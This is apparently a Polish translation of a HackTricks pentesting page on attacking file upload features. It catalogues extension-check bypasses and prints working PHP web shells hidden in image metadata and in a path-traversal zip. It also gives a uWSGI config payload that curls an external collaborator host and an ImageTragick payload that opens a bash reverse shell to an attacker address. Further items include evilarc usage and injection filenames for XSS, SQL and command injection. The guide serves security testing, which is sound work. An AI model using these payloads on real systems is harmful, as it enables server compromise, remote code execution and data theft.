Przesyłanie plików
Reading time: 17 minutes
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Ogólna metodologia przesyłania plików
Inne przydatne rozszerzenia:
- PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
- Working in PHPv8: .php, .php4, .php5, .phtml_, .module_, .inc_, .hphp_, .ctp_
- ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
- Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
- Coldfusion: .cfm, .cfml, .cfc, .dbm
- Flash: .swf
- Perl: .pl, .cgi
- Erlang Yaws Web Server: .yaws
Omijanie sprawdzania rozszerzeń plików
- Jeśli mają zastosowanie, sprawdź poprzednie rozszerzenia. Przetestuj je także używając wielkich liter: pHp, .pHP5, .PhAr ...
- Sprawdź dodanie poprawnego rozszerzenia przed rozszerzeniem wykonawczym (użyj wcześniejszych rozszerzeń również):
- file.png.php
- file.png.Php5
- Spróbuj dodać specjalne znaki na końcu. Możesz użyć Burp do bruteforce'owania wszystkich znaków ascii i Unicode. (Uwaga: możesz też spróbować użyć wcześniej wspomnianych rozszerzeń)
- file.php%20
- file.php%0a
- file.php%00
- file.php%0d%0a
- file.php/
- file.php.\
- file.
- file.php....
- file.pHp5....
- Spróbuj obejść zabezpieczenia oszukując parser rozszerzeń po stronie serwera za pomocą technik takich jak podwajanie rozszerzenia lub dodawanie śmieciowych danych (null bytes) między rozszerzeniami. Możesz także użyć wcześniejszych rozszerzeń do przygotowania lepszego payloadu.
- file.png.php
- file.png.pHp5
- file.php#.png
- file.php%00.png
- file.php\x00.png
- file.php%0a.png
- file.php%0d%0a.png
- file.phpJunk123png
- Dodaj kolejną warstwę rozszerzeń do poprzedniej próby:
- file.png.jpg.php
- file.php%00.png%00.jpg
- Spróbuj umieścić rozszerzenie wykonawcze przed poprawnym rozszerzeniem i liczyć na to, że serwer jest źle skonfigurowany. (przydatne do wykorzystania misconfigów Apache, gdzie wszystko z rozszerzeniem .php, ale niekoniecznie kończące się na .php będzie wykonywać kod):
- ex: file.php.png
- Używanie NTFS alternate data stream (ADS) w Windows. W tym przypadku zostanie wstawiony znak dwukropka ":" po zabronionym rozszerzeniu i przed dozwolonym. W rezultacie na serwerze zostanie utworzony pusty plik z zabronionym rozszerzeniem (np. "file.asax:.jpg”). Ten plik może być później edytowany innymi technikami, takimi jak użycie jego short filename. Wzorzec "::$data” może być również użyty do tworzenia plików niepustych. Dlatego dodanie kropki po tym wzorcu może być również przydatne do obejścia dalszych restrykcji (np. "file.asp::$data.")
- Spróbuj złamać limity nazwy pliku. Poprawne rozszerzenie zostaje obcięte. Zostaje złośliwe PHP. AAA<--SNIP-->AAA.php
# Linux maximum 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
# Upload the file and check response how many characters it alllows. Let's say 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Make the payload
AAA<--SNIP 232 A-->AAA.php.png
Omijanie Content-Type, Magic Number, kompresji i zmiany rozmiaru
- Omiń sprawdzenia Content-Type ustawiając wartość nagłówka Content-Type na: image/png , text/plain , application/octet-stream
- Content-Type wordlist: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt
- Omiń sprawdzenie magic number dodając na początku pliku bajty prawdziwego obrazu (zmyli to polecenie file). Albo wprowadź shell wewnątrz metadanych:
exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
\
lub możesz też wprowadzić payload bezpośrednio do obrazu:
echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
- Jeśli do twojego obrazu jest dodawana kompresja, na przykład przy użyciu bibliotek PHP jak PHP-GD, poprzednie techniki mogą nie być skuteczne. Możesz jednak użyć PLTE chunk techniki opisanej tutaj, aby wstawić tekst, który przetrwa kompresję.
- Github with the code
- Strona może również zmieniać rozmiar obrazu, używając na przykład funkcji PHP-GD
imagecopyresized
lubimagecopyresampled
. Możesz jednak użyć IDAT chunk techniki opisanej tutaj, aby wstawić tekst, który przetrwa kompresję. - Github with the code
- Inna technika, aby stworzyć payload, który przetrwa zmianę rozmiaru obrazu, używając funkcji PHP-GD
thumbnailImage
. Możesz jednak użyć tEXt chunk techniki opisanej tutaj, aby wstawić tekst, który przetrwa kompresję. - Github with the code
Inne sztuczki do sprawdzenia
- Znajdź podatność pozwalającą zmienić nazwę już przesłanego pliku (aby zmienić rozszerzenie).
- Znajdź Local File Inclusion umożliwiający wykonanie backdoora.
- Możliwe ujawnienie informacji:
- Prześlij wiele razy (i w tym samym czasie) ten sam plik o tej samej nazwie
- Prześlij plik o nazwie pliku lub folderu, który już istnieje
- Przesyłanie pliku o nazwie ".”, "..” lub "…”. Na przykład w Apache na Windows, jeśli aplikacja zapisuje przesłane pliki w katalogu "/www/uploads/”, nazwa pliku "." utworzy plik o nazwie "uploads” w katalogu "/www/”.
- Prześlij plik, który może być trudny do usunięcia, taki jak "…:.jpg” w NTFS. (Windows)
- Prześlij plik w Windows z nieprawidłowymi znakami takimi jak
|<>*?”
w jego nazwie. (Windows) - Prześlij plik w Windows używając zarezerwowanych (zakazanych) nazw takich jak CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9.
- Spróbuj także przesłać plik wykonywalny (.exe) lub .html (mniej podejrzane), który wykona kod po przypadkowym otwarciu przez ofiarę.
Specjalne sztuczki z rozszerzeniami
Jeśli próbujesz przesyłać pliki na serwer PHP, rzuć okiem na trik z .htaccess do wykonania kodu.
Jeśli próbujesz przesyłać pliki na serwer ASP, rzuć okiem na trik z .config do wykonania kodu.
Pliki .phar
są jak .jar
dla java, ale dla php, i mogą być używane jak plik php (wykonywane przez php, lub dołączane do skryptu...)
Rozszerzenie .inc
jest czasem używane dla plików php, które służą tylko do importowania plików, więc w pewnym momencie ktoś mógł pozwolić na wykonanie tego rozszerzenia.
Jetty RCE
Jeśli możesz przesłać plik XML na serwer Jetty, możesz uzyskać RCE ponieważ nowe *.xml oraz *.war są automatycznie przetwarzane. Tak więc, jak pokazano na poniższym obrazku, prześlij plik XML do $JETTY_BASE/webapps/
i oczekuj shell'a!
uWSGI RCE
Aby dokładniej zbadać tę podatność sprawdź oryginalne badanie: uWSGI RCE Exploitation.
Remote Command Execution (RCE) można wykorzystać na serwerach uWSGI, jeśli ma się możliwość modyfikacji pliku konfiguracyjnego .ini
. Pliki konfiguracyjne uWSGI wykorzystują specyficzną składnię do wstawiania "magicznych" zmiennych, placeholderów i operatorów. Warto zwrócić uwagę na operator '@', używany jako @(filename)
, który ma za zadanie dołączyć zawartość pliku. Wśród obsługiwanych schematów w uWSGI, schemat "exec" jest szczególnie silny, pozwalając na odczyt danych ze standardowego wyjścia procesu. Ta funkcjonalność może być zmanipulowana do celów złośliwych, takich jak Remote Command Execution lub Arbitrary File Write/Read, gdy plik konfiguracyjny .ini
jest przetwarzany.
Rozważ następujący przykład złośliwego pliku uwsgi.ini
, pokazujący różne schematy:
[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
Wykonanie payload następuje podczas parsowania pliku konfiguracyjnego. Aby konfiguracja została aktywowana i sparsowana, proces uWSGI musi zostać albo zrestartowany (potencjalnie po awarii lub z powodu ataku Denial of Service) albo plik musi być ustawiony na auto-reload. Funkcja auto-reload, jeśli jest włączona, przeładowuje plik w określonych odstępach po wykryciu zmian.
Ważne jest zrozumienie luźnego sposobu parsowania plików konfiguracyjnych przez uWSGI. Konkretnie, omawiany payload może być wstawiony do pliku binarnego (np. obrazka lub PDF), co dodatkowo poszerza zakres potencjalnego wykorzystania.
wget File Upload/SSRF Trick
W niektórych przypadkach możesz natrafić na serwer, który używa wget
do pobierania plików i możesz wskazać URL. W takich sytuacjach kod może sprawdzać, czy rozszerzenie pobieranych plików znajduje się na białej liście, aby upewnić się, że pobierane będą tylko dozwolone pliki. Jednak to sprawdzenie można obejść.
Maksymalna długość nazwy pliku w linux to 255, jednak wget obcina nazwy plików do 236 znaków. Możesz download a file called "A"*232+".php"+".gif", ta nazwa pliku obejdzie sprawdzenie (ponieważ w tym przykładzie ".gif" jest prawidłowym rozszerzeniem), ale wget
zmieni nazwę pliku na "A"*232+".php".
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06-- http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>] 10 --.-KB/s in 0s
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
Note that another option you may be thinking of to bypass this check is to make the HTTP server redirect to a different file, so the initial URL will bypass the check by then wget will download the redirected file with the new name. This won't work unless wget is being used with the parameter --trust-server-names
because wget will download the redirected page with the name of the file indicated in the original URL.
Narzędzia
- Upload Bypass is a powerful tool designed to assist Pentesters and Bug Hunters in testing file upload mechanisms. It leverages various bug bounty techniques to simplify the process of identifying and exploiting vulnerabilities, ensuring thorough assessments of web applications.
Uszkadzanie indeksów uploadu z powodu niuansów snprintf (historyczne)
Niektóre przestarzałe mechanizmy obsługi przesyłania plików, które używają snprintf()
lub podobnych funkcji do budowania tablic wieloplikiowych z pojedynczego uploadu, mogą zostać oszukane do sfałszowania struktury _FILES
. Z powodu niespójności i obcinania w zachowaniu snprintf()
, starannie spreparowany pojedynczy upload może na serwerze wyglądać jak kilka indeksowanych plików, co myli logikę zakładającą określony kształt (np. traktując to jako multi-file upload i wybierając niebezpieczne gałęzie). Choć dziś jest to niszowe, wzorzec ten — “index corruption” — od czasu do czasu pojawia się w CTFach i starszych bazach kodu.
From File upload to other vulnerabilities
- Ustaw filename na
../../../tmp/lol.png
i spróbuj osiągnąć path traversal - Ustaw filename na
sleep(10)-- -.jpg
i możesz uzyskać SQL injection - Ustaw filename na
<svg onload=alert(document.domain)>
, aby wywołać XSS - Ustaw filename na
; sleep 10;
, aby przetestować command injection (więcej command injections tricks here) - XSS in image (svg) file upload
- JS file upload + XSS = Service Workers exploitation
- XXE in svg upload
- Open Redirect via uploading svg file
- Wypróbuj different svg payloads z https://github.com/allanlw/svg-cheatsheet
- Famous ImageTrick vulnerability
- Jeśli możesz wskazać serwerowi web, aby pobrał obraz z URL, możesz spróbować wykorzystać SSRF. Jeśli ten image ma zostać saved w jakimś public serwisie, możesz też wskazać URL z https://iplogger.org/invisible/ i steal information of every visitor.
- XXE and CORS bypass with PDF-Adobe upload
- Specjalnie spreparowane PDFy prowadzące do XSS: Strona w linku opisuje jak inject PDF data to obtain JS execution: following page present how to inject PDF data to obtain JS execution. Jeśli możesz uploadować PDFy, możesz przygotować PDF, który wykona dowolny JS zgodnie z podanymi wskazówkami.
- Prześlij zawartość [eicar](https://secure.eicar.org/eicar.com.txt) aby sprawdzić, czy serwer ma jakiś antivirus
- Sprawdź, czy istnieje jakiś size limit podczas przesyłania plików
Here’s a top 10 list of things that you can achieve by uploading (from here):
- ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
- SVG: Stored XSS / SSRF / XXE
- GIF: Stored XSS / SSRF
- CSV: CSV injection
- XML: XXE
- AVI: LFI / SSRF
- HTML / JS : HTML injection / XSS / Open redirect
- PNG / JPEG: Pixel flood attack (DoS)
- ZIP: RCE via LFI / DoS
- PDF / PPTX: SSRF / BLIND XXE
Burp Extension
GitHub - PortSwigger/upload-scanner: HTTP file upload scanner for Burp Proxy
Magic Header Bytes
- PNG:
"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["
- JPG:
"\xff\xd8\xff"
Refer to https://en.wikipedia.org/wiki/List_of_file_signatures for other filetypes.
Zip/Tar File Automatically decompressed Upload
If you can upload a ZIP that is going to be decompressed inside the server, you can do 2 things:
Symlink
Prześlij archiwum zawierające linki symboliczne do innych plików, a następnie, uzyskując dostęp do rozpakowanych plików, uzyskasz dostęp do plików, do których wskazują linki:
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt
Dekompresja do różnych folderów
Niespodziewane tworzenie plików w katalogach podczas dekompresji jest poważnym problemem. Pomimo początkowego założenia, że takie rozwiązanie może chronić przed wykonaniem poleceń na poziomie systemu operacyjnego poprzez złośliwe przesyłanie plików, obsługa hierarchicznej kompresji i możliwości directory traversal formatu archiwów ZIP mogą zostać wykorzystane. Pozwala to atakującym obejść ograniczenia i wydostać się z bezpiecznych katalogów przesyłania plików poprzez manipulowanie funkcjonalnością dekompresji zaatakowanej aplikacji.
Zautomatyzowany exploit do tworzenia takich plików jest dostępny pod evilarc on GitHub. Narzędzie można użyć w następujący sposób:
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
Dodatkowo istnieje opcja symlink trick with evilarc. Jeśli celem jest zaatakowanie pliku takiego jak /flag.txt
, należy utworzyć symlink do tego pliku w systemie. To zapewnia, że evilarc nie napotka błędów podczas działania.
Poniżej znajduje się przykład kodu w Pythonie używanego do stworzenia złośliwego pliku zip:
#!/usr/bin/python
import zipfile
from io import BytesIO
def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()
create_zip()
Wykorzystywanie kompresji do file sprayingu
Po więcej szczegółów sprawdź oryginalny wpis na: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/
- Creating a PHP Shell: Kod PHP jest zapisany tak, aby wykonywać polecenia przekazane przez zmienną
$_REQUEST
.
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
- File Spraying and Compressed File Creation: Tworzonych jest wiele plików, a następnie składane jest archiwum zip zawierające te pliki.
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
- Modification with a Hex Editor or vi: Nazwy plików wewnątrz zip są zmieniane za pomocą vi lub edytora heksadecymalnego, zamieniając "xxA" na "../", aby przemieszczać się po katalogach.
:set modifiable
:%s/xxA/..\//g
:x!
ImageTragic
Prześlij tę zawartość z rozszerzeniem obrazu, aby wykorzystać podatność (ImageMagick , 7.0.1-1) (z exploit)
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
Osadzanie PHP Shell w PNG
Osadzenie PHP shell w chunku IDAT pliku PNG może skutecznie ominąć niektóre operacje przetwarzania obrazów. Funkcje imagecopyresized
i imagecopyresampled
z PHP-GD są tu szczególnie istotne, ponieważ powszechnie używa się ich odpowiednio do zmiany rozmiaru i resamplingu obrazów. Możliwość, że osadzony PHP shell pozostanie nienaruszony przez te operacje, stanowi istotną zaletę w niektórych przypadkach użycia.
Dokładne omówienie tej techniki, łącznie z metodologią i potencjalnymi zastosowaniami, znajduje się w następującym artykule: "Encoding Web Shells in PNG IDAT chunks". Zasób ten oferuje kompleksowe zrozumienie procesu i jego implikacji.
More information in: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
Pliki polyglotowe
Pliki polyglotowe pełnią unikalną rolę w cyberbezpieczeństwie, działając jak kameleony, które mogą jednocześnie być poprawne w wielu formatach plików. Interesującym przykładem jest GIFAR, hybryda działająca zarówno jako GIF, jak i archiwum RAR. Takie pliki nie ograniczają się do tej pary; możliwe są też kombinacje typu GIF i JS lub PPT i JS.
Główną użytecznością plików polyglotowych jest ich zdolność do obchodzenia mechanizmów bezpieczeństwa, które filtrują pliki na podstawie typu. Powszechną praktyką w różnych aplikacjach jest zezwalanie tylko na określone typy plików do uploadu — np. JPEG, GIF lub DOC — aby zmniejszyć ryzyko związane z potencjalnie niebezpiecznymi formatami (np. JS, PHP lub Phar). Jednak polyglot, spełniając strukturalne kryteria wielu formatów, może cicho ominąć te ograniczenia.
Pomimo swojej elastyczności, polygloty napotykają ograniczenia. Na przykład, chociaż polyglot może jednocześnie pełnić rolę pliku PHAR (PHp ARchive) i JPEG, powodzenie jego uploadu może zależeć od polityki platformy dotyczącej rozszerzeń plików. Jeśli system jest restrykcyjny co do dozwolonych rozszerzeń, sama strukturalna dwoistość polyglota może nie wystarczyć, by zagwarantować jego przesłanie.
More information in: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a
Wgrywanie poprawnych JSON-ów tak jakby to był PDF
Jak uniknąć wykrywania typu pliku poprzez wgranie poprawnego pliku JSON, nawet jeśli nie jest dozwolone, podszywając się pod plik PDF (techniki z this blog post):
mmmagic
library: Dopóki magiczne bajty%PDF
znajdują się w pierwszych 1024 bajtach, jest to uznawane za ważne (przykład w artykule)pdflib
library: Dodaj fałszywy format PDF wewnątrz pola JSON, aby biblioteka uznała go za pdf (przykład w artykule)file
binary: Potrafi czytać do 1048576 bajtów z pliku. Wystarczy stworzyć JSON większy niż to, aby nie mógł sparsować zawartości jako json, a następnie w środku JSON-a umieścić początkową część prawdziwego PDF, i wtedy uzna go za PDF
Referencje
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files
- https://github.com/modzero/mod0BurpUploadScanner
- https://github.com/almandin/fuxploider
- https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html
- https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
- https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a
- https://blog.doyensec.com/2025/01/09/cspt-file-upload.html
- The Art of PHP: CTF‑born exploits and techniques
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.